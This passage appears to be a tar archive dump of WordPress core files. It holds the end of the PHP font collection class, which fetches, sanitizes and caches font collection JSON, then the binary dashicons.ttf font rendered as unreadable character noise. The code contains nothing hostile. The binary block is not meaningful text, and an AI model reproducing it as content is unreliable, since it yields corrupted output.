* * @param string $url URL to a JSON file containing the font collection data. * @return array|WP_Error An array containing the font collection data on success, * else an instance of WP_Error on failure. */ private function load_from_url( $url ) { // Limit key to 167 characters to avoid failure in the case of a long URL. $transient_key = substr( 'wp_font_collection_url_' . $url, 0, 167 ); $data = get_site_transient( $transient_key ); if ( false === $data ) { $response = wp_safe_remote_get( $url ); if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { return new WP_Error( 'font_collection_request_error', sprintf( // translators: %s: Font collection URL. __( 'Error fetching the font collection data from "%s".' ), $url ) ); } $data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $data ) ) { return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection data from the HTTP response JSON.' ) ); } // Make sure the data is valid before storing it in a transient. $data = $this->sanitize_and_validate_data( $data, array( 'font_families' ) ); if ( is_wp_error( $data ) ) { return $data; } set_site_transient( $transient_key, $data, DAY_IN_SECONDS ); } return $data; } /** * Sanitizes and validates the font collection data. * * @since 6.5.0 * * @param array $data Font collection data to sanitize and validate. * @param array $required_properties Required properties that must exist in the passed data. * @return array|WP_Error Sanitized data if valid, otherwise a WP_Error instance. */ private function sanitize_and_validate_data( $data, $required_properties = array() ) { $schema = self::get_sanitization_schema(); $data = WP_Font_Utils::sanitize_from_schema( $data, $schema ); foreach ( $required_properties as $property ) { if ( empty( $data[ $property ] ) ) { $message = sprintf( // translators: 1: Font collection slug, 2: Missing property name, e.g. "font_families". __( 'Font collection "%1$s" has missing or empty property: "%2$s".' ), $this->slug, $property ); _doing_it_wrong( __METHOD__, $message, '6.5.0' ); return new WP_Error( 'font_collection_missing_property', $message ); } } return $data; } /** * Retrieves the font collection sanitization schema. * * @since 6.5.0 * * @return array Font collection sanitization schema. */ private static function get_sanitization_schema() { return array( 'name' => 'sanitize_text_field', 'description' => 'sanitize_text_field', 'font_families' => array( array( 'font_family_settings' => array( 'name' => 'sanitize_text_field', 'slug' => static function ( $value ) { return _wp_to_kebab_case( sanitize_title( $value ) ); }, 'fontFamily' => 'WP_Font_Utils::sanitize_font_family', 'preview' => 'sanitize_url', 'fontFace' => array( array( 'fontFamily' => 'sanitize_text_field', 'fontStyle' => 'sanitize_text_field', 'fontWeight' => 'sanitize_text_field', 'src' => static function ( $value ) { return is_array( $value ) ? array_map( 'sanitize_text_field', $value ) : sanitize_text_field( $value ); }, 'preview' => 'sanitize_url', 'fontDisplay' => 'sanitize_text_field', 'fontStretch' => 'sanitize_text_field', 'ascentOverride' => 'sanitize_text_field', 'descentOverride' => 'sanitize_text_field', 'fontVariant' => 'sanitize_text_field', 'fontFeatureSettings' => 'sanitize_text_field', 'fontVariationSettings' => 'sanitize_text_field', 'lineGapOverride' => 'sanitize_text_field', 'sizeAdjust' => 'sanitize_text_field', 'unicodeRange' => 'sanitize_text_field', ), ), ), 'categories' => array( 'sanitize_title' ), ), ), 'categories' => array( array( 'name' => 'sanitize_text_field', 'slug' => 'sanitize_title', ), ), ); } } fonts/dashicons.ttf000064400000156110147177035020010401 0ustar00 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON %rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg !5!!%5#4f44M37'74f33fffg7'3f4'gf3!'7ff4f33fg'7f3Mg%'7Mge75!'7'733ff4f33fg?'73gg͙fge%#'7'4f33f33ffg%''73M?gfM3gM!-767676&'&7>76>76'&   /2o\ <%&@%) $(      A6:3:51*3/S!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<.'>&5717'7&]2:3\m1$2 * (%TF'-KTF0 .\m>Ms\mc::$2-KTF'-&O2: {{R6 !53'33'33'!5!f@3@3@fg33(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627.&'&"33264a!  % @ n % 3 Jn n *n nn nm ( $  $$ @ %% o 94 Ps q n* n nFq om * &  %!%265#754&'>7."!5.f{*""+33;#7    7%8' @@&5##5##"!54&#MfM f f4444 7!!"&5463!!"74&"26M -- M >  M3-4-Y3!"&546;#"3!3 --  g-4-9B354636332+"&=#"&=#"&="'"&=#546;5264&"3/ 3 - 3 3/M*  84  44  48  g - $5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s] -7_77_n_77_7(G4XhX44X- [&E  !8#,-2/N//Na*7%#}  ,+7_n_77_n_7s5hX44XhX4} ,$  v>{+" , /N^N/ &3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEuuEEuFBpAAppAApB;d;;dvd;;di'!,\,,>,,N    666%  EuuEEuuE AppAAppA;dvd;;dvd;, 1 (,,>,,>,   655$ )Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".= g ggf1(  (1* " *( * ! 0RbR0     Y  Y  Y  Y /?LL?/8    -o  M//M   #/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z))4  $  >   M  ML-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?   -   - 3  3  3  3 33333333l    333343/'#'&'&6765.>27&'>7656" 3DC6 #)3- ,>- .5 )`J##K !? a;D;##;D;b@! 2!767676'7'7''70S* f$&__ : 3_X @ KG !n tGI hjNW`n{%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"-?     ?-#!&  4  ' "" W ED L LYLL@- &  % -@ /: ":*   *:" :/d3  @ ;  3   -=&"2?>&"2?64"/"&4?624'&/;2  =   k  k.     "  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  {.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   "#R9&&42+&9)'P55-A!!A- -8'&6?6767'&'776?67676''&76?>5  M  gq  :`  /p A   M f N  q.  BY  q)  A   M  ="6?4'&67632#&=674&1676?32>4.6(&' !37#    '>"+IE(5 P!,+" 0"{'2,$ *FSC& )-15!5!5#%&#"26757&#"26=4&5#5#( * gg33f33g443u)Y)33f33 "&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      